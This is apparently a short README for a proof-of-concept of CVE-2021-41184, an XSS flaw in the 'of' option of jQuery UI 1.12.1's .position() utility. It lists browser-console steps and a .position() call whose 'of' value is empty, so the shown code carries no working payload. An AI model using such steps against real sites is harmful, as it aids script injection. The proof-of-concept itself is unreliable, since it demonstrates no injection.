gabrielolivra/exploit-medium-cve-2021-41184Proof-of-concept exploit for CVE-2021-41184, a cross-site scripting (XSS) vulnerability in jQuery UI's .position() utility, targeting version 1.12.1.
Exploit Medium CVE-2021-41184 XSS in the of option of the .position() util
1.1 https://www.website.com/_js/jquery/jquery-ui-1.12.1/jquery-ui.min.js
------------------------------------------------Concept proof---------------------------------------------------------------
Open url
Open inspect
Look for some ID in site elements
3.1 #ID
Go to console tab
Inject script with ID selected at point 3.1
5.1 Script
$("#id").position( {
my: "center",
at: "right bottom",
of: "",
collision: "none"
});